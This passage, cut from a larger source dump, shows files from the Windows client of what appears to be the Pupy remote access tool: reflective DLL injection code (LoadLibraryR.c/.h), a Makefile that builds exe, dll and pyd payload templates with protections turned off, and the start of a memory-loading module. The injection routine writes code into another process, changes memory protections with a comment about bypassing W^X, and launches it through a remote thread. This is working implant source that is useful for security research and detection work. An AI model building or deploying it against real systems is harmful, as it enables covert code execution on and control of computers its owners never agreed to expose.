LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \r\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \r\n// POSSIBILITY OF SUCH DAMAGE.\r\n//===============================================================================================//\r\n#include \"LoadLibraryR.h\"\r\n#include \"ReflectiveLoader.h\"\r\n\r\n#include <stdio.h>\r\n//===============================================================================================//\r\nDWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 )\r\n{    \r\n    WORD wIndex                          = 0;\r\n    PIMAGE_SECTION_HEADER pSectionHeader = NULL;\r\n    PIMAGE_NT_HEADERS32 pNtHeaders32     = NULL;\r\n    PIMAGE_NT_HEADERS64 pNtHeaders64     = NULL;\r\n    \r\n    if (is64) {\r\n        pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);\r\n\r\n        pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader);\r\n\r\n        if( dwRva < pSectionHeader[0].PointerToRawData )\r\n            return dwRva;\r\n\r\n        for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ )\r\n        {   \r\n            if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           \r\n                return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );\r\n        }\r\n    }\r\n    else {\r\n        pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);\r\n        \r\n        pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader);\r\n\r\n        if( dwRva < pSectionHeader[0].PointerToRawData )\r\n            return dwRva;\r\n\r\n        for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ )\r\n        {   \r\n            if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           \r\n                return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );\r\n        }\r\n    }\r\n\r\n    return 0;\r\n}\r\n//===============================================================================================//\r\nDWORD GetReflectiveLoaderOffset( const VOID * lpReflectiveDllBuffer )\r\n{\r\n    UINT_PTR uiBaseAddress   = 0;\r\n    UINT_PTR uiExportDir     = 0;\r\n    UINT_PTR uiNameArray     = 0;\r\n    UINT_PTR uiAddressArray  = 0;\r\n    UINT_PTR uiNameOrdinals  = 0;\r\n    DWORD dwCounter          = 0;\r\n    BOOL is64                = 0;\r\n    DWORD dwIdx              = 0;\r\n    DWORD dwReflectiveLoaderSymHashes[] = {\r\n        symhash(REFLECTIVE_LOADER_SYMNAME),\r\n        0x994d06f3, // ReflectiveLoader\r\n        0x6249c9c2, // Loader\r\n        0xda5392de  // RLEp\r\n    };\r\n    DWORD dwSymHashesCnt = sizeof(dwReflectiveLoaderSymHashes) /\r\n        sizeof(dwReflectiveLoaderSymHashes[0]);\r\n\r\n    uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;\r\n\r\n    // get the File Offset of the modules NT Header\r\n    uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;\r\n\r\n    // process a PE file based on its architecture\r\n    if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32\r\n    {\r\n        is64 = FALSE;\r\n        // uiNameArray = the address of the modules export directory entry\r\n        uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\r\n\r\n    }\r\n    else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64\r\n    {\r\n        is64 = TRUE;\r\n        // uiNameArray = the address of the modules export directory entry\r\n        uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\r\n\r\n    }\r\n    else\r\n    {\r\n        return 0;\r\n    }\r\n\r\n    // get the File Offset of the export directory\r\n    uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 );\r\n\r\n    // get the File Offset for the array of name pointers\r\n    uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 );\r\n\r\n    // get the File Offset for the array of addresses\r\n    uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );\r\n\r\n    // get the File Offset for the array of name ordinals\r\n    uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 );\t\r\n\r\n    // get a counter for the number of exported functions...\r\n    dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;\r\n\r\n    // loop through all the exported functions to find the ReflectiveLoader\r\n    while( dwCounter-- )\r\n    {\r\n        char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 ));\r\n        DWORD dwHash = symhash(cpExportedFunctionName);\r\n\r\n        for (dwIdx=0; dwIdx < dwSymHashesCnt; dwIdx ++) {\r\n            if (dwReflectiveLoaderSymHashes[dwIdx] != dwHash)\r\n                continue;\r\n\r\n            // get the File Offset for the array of addresses\r\n            uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );\t\r\n    \r\n            // use the functions name ordinal as an index into the array of name pointers\r\n            uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\r\n\r\n            // return the File Offset to the ReflectiveLoader() functions code...\r\n            return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 );\r\n        }\r\n\r\n        // get the next exported function name\r\n        uiNameArray += sizeof(DWORD);\r\n\r\n        // get the next exported function name ordinal\r\n        uiNameOrdinals += sizeof(WORD);\r\n    }\r\n\r\n    return 0;\r\n}\r\n\r\n#ifdef USE_LOCAL_LOADLIBRARY\r\n\r\n//===============================================================================================//\r\n// Loads a DLL image from memory via its exported ReflectiveLoader function\r\nHMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )\r\n{\r\n    HMODULE hResult                    = NULL;\r\n    DWORD dwReflectiveLoaderOffset     = 0;\r\n    DWORD dwOldProtect1                = 0;\r\n    DWORD dwOldProtect2                = 0;\r\n    REFLECTIVELOADER pReflectiveLoader = NULL;\r\n    DLLMAIN pDllMain                   = NULL;\r\n\r\n    if( lpBuffer == NULL || dwLength == 0 )\r\n        return NULL;\r\n\r\n    __try\r\n    {\r\n        // check if the library has a ReflectiveLoader...\r\n        dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );\r\n        if( dwReflectiveLoaderOffset != 0 )\r\n        {\r\n            pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);\r\n\r\n            // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...\r\n            // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region\r\n            if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )\r\n            {\r\n                // call the librarys ReflectiveLoader...\r\n                pDllMain = (DLLMAIN)pReflectiveLoader(lpParameter);\r\n                if( pDllMain != NULL )\r\n                {\r\n                    // call the loaded librarys DllMain to get its HMODULE\r\n                    if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )\t\r\n                        hResult = NULL;\r\n                }\r\n                // revert to the previous protection flags...\r\n                VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );\r\n            }\r\n        }\r\n    }\r\n    __except( EXCEPTION_EXECUTE_HANDLER )\r\n    {\r\n        hResult = NULL;\r\n    }\r\n\r\n    return hResult;\r\n}\r\n\r\n#else\r\n\r\n//===============================================================================================//\r\n// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function\r\n// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR \r\n//       defined in order to use the correct RDI prototypes.\r\n// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | \r\n//       PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ\r\n// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.\r\n// Note: This function currently cant inject accross architectures, but only to architectures which are the \r\n//       same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.\r\nHANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )\r\n{\r\n    BOOL bSuccess                             = FALSE;\r\n    LPVOID lpRemoteLibraryBuffer              = NULL;\r\n    LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;\r\n    HANDLE hThread                            = NULL;\r\n    DWORD dwReflectiveLoaderOffset            = 0;\r\n    DWORD dwThreadId                          = 0;\r\n\r\n    __try\r\n    {\r\n        do\r\n        {\r\n            if( !hProcess  || !lpBuffer || !dwLength )\r\n                break;\r\n\r\n            // check if the library has a ReflectiveLoader...\r\n            dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );\r\n            if( !dwReflectiveLoaderOffset )\r\n                break;\r\n\r\n            // alloc memory (RW) in the host process for the image...\r\n            lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); \r\n            if( !lpRemoteLibraryBuffer )\r\n                break;\r\n\r\n            // write the image into the host process...\r\n            if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )\r\n                break;\r\n\r\n            // change the permissions to (RX) to bypass W^X protections\r\n            if (!VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, NULL))\r\n                break;\r\n\r\n            // add the offset to ReflectiveLoader() to the remote library address...\r\n            lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );\r\n\r\n            // create a remote thread in the host process to call the ReflectiveLoader!\r\n            hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );\r\n\r\n        } while( 0 );\r\n\r\n    }\r\n    __except( EXCEPTION_EXECUTE_HANDLER )\r\n    {\r\n        hThread = NULL;\r\n    }\r\n\r\n    return hThread;\r\n}\r\n\r\n//===============================================================================================//\r\n#endif"
  },
  {
    "path": "client/sources-windows-py3/LoadLibraryR.h",
    "content": "//===============================================================================================//\n// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted\n// provided that the following conditions are met:\n//\n//     * Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n//\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of\n// conditions and the following disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H\n#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H\n//===============================================================================================//\n#include \"ReflectiveDLLInjection.h\"\n\nDWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );\n\nHMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );\n\nHANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );\n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n"
  },
  {
    "path": "client/sources-windows-py3/Makefile",
    "content": "BUILDENV ?= $(PWD)/buildenv\n\nPYMAJ ?= 3\nPYMIN ?= 10\nSUFFIX ?= -$(PYMAJ)$(PYMIN).\nBITS ?= 32\n\n\nTEMPLATE_OUTPUT_PATH=../../pupy/payload_templates\n\nifndef ARCH\n$(error You must specify an architecture - 64 or 32)\nendif\n\n\nCFLAGS := /D_WIN32\n\nifeq \"$(ARCH)\" \"64\"\nCFLAGS := $(CFLAGS) /DWIN_X64 /D_WIN64 /nologo \nPPARCH := x64\nBITS := 64\nelse\nCFLAGS := $(CFLAGS) /DWIN_X86 /nologo\nPPARCH := x86\nBITS := 32\nendif\n\nOPENSSL_ABI ?= 1_1\nLIBCRYPTO := libcrypto-$(OPENSSL_ABI).dll\nLIBSSL := libssl-$(OPENSSL_ABI).dll\nLIBFFI := libffi-7.dll\n\nPYTHONPATH ?= C:\\\\Python$(PYMAJ)-$(BITS)\n\nCC := $(BUILDENV)/$(BITS)/cl.sh\nPYTHON := $(BUILDENV)/$(BITS)/python.sh\nHOST_PYTHON := python3\n\n\nCFLAGS += /Iresources\\\\$(ARCH) /Iresources \nCFLAGS += /DLIBCRYPTO=\\\"$(LIBCRYPTO)\\\" /DLIBSSL=\\\"$(LIBSSL)\\\" /DLIBFFI=\\\"$(LIBFFI)\\\"\nCFLAGS += /EHa /GS- /GF-\n\nifdef DEBUG\nDEBUG_ADD   := -debug\nCFLAGS      := $(CFLAGS) /DDEBUG /DVERBOSE\n#LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup\nLINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console\nPPARCH      := $(PPARCH)d\nCFLAGS_OPT  :=\nelse\nDEBUG_ADD   :=\nLINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup /LTCG\n# LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console /LTCG\nPPARCH      := $(PPARCH)\nCFLAGS      := $(CFLAGS) /DHAVE_WINDOW\nCFLAGS_OPT  := /Os /GL /GS-\nendif\n\nSECARGS     := \"cl\" \".xzdata\"\n\nCFLAGS      := $(CFLAGS) /I..\\\\common\n\nCOMMON_OBJS := \\\n\tactctx.obj \\\n\tMyLoadLibrary.obj \\\n\tMemoryModule.obj\n\nLOADER_OBJS := \\\n\tpupy_load.obj\n\nPUPY_MODULE := \\\n\tbase_inject.obj \\\n\tthread.obj remote_thread.obj \\\n\tLoadLibraryR.obj \\\n\tReflectiveLoader.obj \\\n\tpupy.obj\n\nSHARED_OBJS := \\\n\tmain_reflective.obj\n\nAPP_OBJS := \\\n\tmain_exe.obj\n\n\nifneq ($(FEATURE_DYNLOAD),)\nCFLAGS += /D_PUPY_DYNLOAD /D_PUPY_PRIVATE_NT\n#CFLAGS += /D_PUPY_DYNLOAD\nSHARED_OBJS += ReflectiveLoader.obj\nLIBPYTHON_LIBS := $(PYTHONPATH)\\\\libs\\\\python$(PYMAJ)$(PYMIN).lib advapi32.lib\nLIBPYTHON_INC := /I$(PYTHONPATH)\\\\include\n\nelse\nSHARED_OBJS += $(PUPY_MODULE)\nAPP_OBJS += $(PUPY_MODULE)\nendif\n\nifneq ($(FEATURE_POSTMORTEM),)\nCFLAGS += /DPOSTMORTEM\nendif\n\nifneq ($(DEBUG),)\nPUPY_PYD := _pupy_debug.pyd\nCOMMON_OBJS += debug.obj\nPUPY_MODULE += debug.obj\nelse\nPUPY_PYD := _pupy.pyd\nendif\n\nPUPY_PYD_C := $(PUPY_PYD:%.pyd=%_pyd.c)\nPUPY_PYD_LOADER := $(PUPY_PYD_C:%.c=%.loader)\n\nifeq ($(UNCOMPRESSED),)\nCOMMON_OBJS += LzmaDec.obj\nCOMPRESSED = 1\nelse\nCFLAGS += /DUNCOMPRESSED\nSUFFIX := unc-$(SUFFIX)\nCOMPRESSED = 0\nendif\n\nPUPY_LOAD_DEPS := \\\n\tpupy_load.c \\\n\tresources/$(ARCH)/library.c \\\n\tresources/$(ARCH)/vcruntime140.c \\\n\tresources/$(ARCH)/python3.c \\\n\tresources/$(ARCH)/libssl.c \\\n\tresources/$(ARCH)/libffi.c \\\n\tresources/$(ARCH)/libcrypto.c \\\n\timport-tab.c revision.h\n\nTARGETS := \\\n\t$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe \\\n\t$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll\n\nREQUIRED_LIBS := user32.lib\n\nifneq ($(FEATURE_DYNLOAD),)\n\tTARGETS += $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd\n\tPUPY_LOAD_DEPS += resources/$(ARCH)/$(PUPY_PYD_C)\nelse\n\tREQUIRED_LIBS += advapi32.lib\nendif\n\nall: $(TARGETS)\n\n\npyd: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd\n\nrevision.h:\n\tif [ -z $$COMMIT ]; then rev=$$(cat ../../.git/`cat ../../.git/HEAD | cut -f 2 -d \\ ` | cut -c 1-8); \\\n\t else rev=$$COMMIT; fi; echo \"#define GIT_REVISION_HEAD \\\"$$rev\\\"\" >$@\n\nimport-tab.c import-tab.h: ../mktab.py\n\t$(HOST_PYTHON) $(PFLAGS) $< UCS4\n\nresources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip\n\t$(HOST_PYTHON) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip\n\nresources/$(ARCH)/library.zip: ../build_library_zip.py\n\t$(PYTHON) ../build_library_zip.py $@\n\nresources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip\n\t$(HOST_PYTHON) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/$(LIBCRYPTO): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBCRYPTO)\n\t@mkdir -p resources/$(ARCH)\n\tcp $< $@\n\nresources/$(ARCH)/$(LIBSSL): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBSSL)\n\t@mkdir -p resources/$(ARCH)\n\tcp $< $@\n\nresources/$(ARCH)/$(LIBFFI): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBFFI)\n\t@mkdir -p resources/$(ARCH)\n\tcp $< $@\n\nresources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/python$(PYMAJ)$(PYMIN).dll\n\t@mkdir -p resources/$(ARCH)\n\tcp $< $@\n\nresources/$(ARCH)/vcruntime140.dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/vcruntime140.dll\n\t@mkdir -p resources/$(ARCH)\n\tcp $< $@\n\nresources/$(ARCH)/libcrypto.c: resources/$(ARCH)/$(LIBCRYPTO) ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/libssl.c: resources/$(ARCH)/$(LIBSSL) ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/libffi.c: resources/$(ARCH)/$(LIBFFI) ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/python3.c: resources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/vcruntime140.c: resources/$(ARCH)/vcruntime140.dll ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)\n\nresources/$(ARCH)/$(PUPY_PYD_C): $(PUPY_PYD) ../gen_resource_header.py\n\t$(HOST_PYTHON) ../gen_resource_header.py $< resources/$(ARCH)/$(PUPY_PYD_C) $(COMPRESSED) $(SECARGS)\n\nReflectiveLoader.obj:\tReflectiveLoader.c\n\t#$(CC) /Fo$@ /c $(CFLAGS) /O2 /Ob1  $<\n\t$(CC) /Fo$@ /c $(CFLAGS) $<\n\nifeq ($(UNCOMPRESSED),)\nLzmaDec.obj: ../common/LzmaDec.c\n\t$(CC) /c $(CFLAGS) $(CFLAGS_OPT) $< /Fo$@\nendif\n\n%.obj: %.c\n\t$(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $<\n\n%.obj: ../common/%.c\n\t$(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $<\n\n\npupy_load.obj: $(PUPY_LOAD_DEPS)\n\n$(PUPY_PYD): $(PUPY_MODULE) $(COMMON_OBJS) | revision.h\n\t$(CC) $(CFLAGS) $(CFLAGS_OPT) $^ /Fe$@ /LD $(LIBPYTHON_LIBS) /link /MAP:$(PUPY_PYD).map\n\n$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe: $(APP_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)\n\t$(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \\\n\t\t/Fe$(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $(LINKER_OPTS) $(REQUIRED_LIBS)\n\tmv $(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $@\n\tunzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc\n\n$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll: $(SHARED_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)\n\t$(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \\\n\t\t/Fe$(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll /LD $(REQUIRED_LIBS)\n\tmv $(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll $@\n\tunzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc\n\n$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd: resources/$(ARCH)/$(PUPY_PYD_C) $(PUPY_PYD)\n\tcat resources/$(ARCH)/$(PUPY_PYD_LOADER) $(PUPY_PYD) > $@\n\tmv $(PUPY_PYD) $@\n\n.PHONY: clean\n\nclean:\n\trm -f \\\n\t\t$(COMMON_OBJS) \\\n\t\t$(LOADER_OBJS) \\\n\t\t$(PUPY_MODULE) \\\n\t\t$(SHARED_OBJS) \\\n\t\t$(PUPY_PYD_C) \\\n\t\t$(APP_OBJS) \\\n\t\t$(PUPY_PYD) \\\n\t\t*.exp \\\n\t\t*.lib \\\n\t\t*.map \\\n\t\t*.obj \\\n\t\t$(TEMPLATE_OUTPUT_PATH)/*.lib \\\n\t\t$(TEMPLATE_OUTPUT_PATH)/*.exp \\\n\t\t$(TEMPLATE_OUTPUT_PATH)/*.map\n\ndistclean: clean\n\trm -f revision.h\n\trm -f import-tab.c\n\trm -f import-tab.h\n\trm -f revision.h\n\trm -rf resources\n\n$(COMMON_OBJS) $(PYOBJS): import-tab.h\n"
  },
  {
    "path": "client/sources-windows-py3/MemoryModule.c",
    "content": "/*\n * Memory DLL loading code\n * Version 0.0.4\n *\n * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de\n * http://www.joachim-bauch.de\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is MemoryModule.c\n *\n * The Initial Developer of the Original Code is Joachim Bauch.\n *\n * Portions created by Joachim Bauch are Copyright (C) 2004-2015\n * Joachim Bauch. All Rights Reserved.\n *\n */\n\n#include <windows.h>\n#include <stddef.h>\n#include <tchar.h>\n#include \"debug.h\"\n#include \"uthash.h\"\n\n#ifndef IMAGE_SIZEOF_BASE_RELOCATION\n// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!?\n#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))\n#endif\n\n#include \"MemoryModule.h\"\n\nHMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);\nstatic PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(\n    void *root,\n    PIMAGE_RESOURCE_DIRECTORY resources,\n    LPCWSTR key);\nHMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);\nDWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource);\nLPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource);\nint _MemoryLoadString(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize);\nint _MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize, WORD language);\n\ntypedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);\ntypedef int (WINAPI *ExeEntryProc)(void);\n\nstatic void*\nOffsetPointer(void* data, ptrdiff_t offset) {\n    return (void*) ((uintptr_t) data + offset);\n}\n\ntypedef NTSTATUS (WINAPI *t_RtlGetVersion)(OSVERSIONINFOEXW *infow);\n\nstatic NTSTATUS WINAPI RtlGetVersion(OSVERSIONINFOEXW *infow) {\n    static t_RtlGetVersion _RtlGetVersion = NULL;\n    if (!_RtlGetVersion) {\n        HMODULE ntdll = GetModuleHandle(\"NTDLL\");\n        _RtlGetVersion = (t_RtlGetVersion) GetProcAddress(ntdll, \"RtlGetVersion\");\n    }\n\n    if (!_RtlGetVersion) {\n        return E_UNEXPECTED;\n    }\n\n    return _RtlGetVersion(infow);\n}\n\ntypedef struct {\n    const char *name;\n    FARPROC proc;\n    UT_hash_handle hh;\n} FUNCHASH;\n\ntypedef struct {\n    DWORD dwFunctionsCount;\n    DWORD dwBase;\n    FARPROC *fpFunctions;\n} FUNCIDX;\n\ntypedef struct {\n    const char *symbol;\n    FARPROC addr;\n} ImportHooks;\n\ntypedef struct {\n    const char *dllname;\n    ImportHooks *hooks;\n} DllHooks;\n\ntypedef struct {\n    HCUSTOMMODULE *modules;\n    FUNCIDX exports;\n    FUNCHASH *phExportsIndex;\n\n    int numModules;\n\n    BOOL initialized;\n    BOOL isDLL;\n    BOOL isRelocated;\n    DWORD pageSize;\n\n    PIMAGE_NT_HEADERS headers;\n    unsigned char *codeBase;\n    ULONG codeSize;\n\n    HMODULE hOriginalModule;\n    HMODULE hAliasedModule;\n    PDL_CALLBACKS callbacks;\n\n    PVOID pvExportFilter;\n    MEMORY_LOAD_FLAGS flags;\n\n    ExeEntryProc exeEntry;\n    DllEntryProc pcDllEntry;\n\n    unsigned char *resources;\n} MEMORYMODULE, *PMEMORYMODULE;\n\ntypedef struct {\n    LPVOID address;\n    LPVOID alignedAddress;\n    DWORD size;\n    DWORD characteristics;\n    BOOL last;\n} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;\n\n#define GET_HEADER_DICTIONARY(module, idx)  &(module)->headers->OptionalHeader.DataDirectory[idx]\n#define ALIGN_DOWN(address, alignment)      (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))\n\n#ifdef DEBUG_OUTPUT\nstatic void\nOutputLastError(const 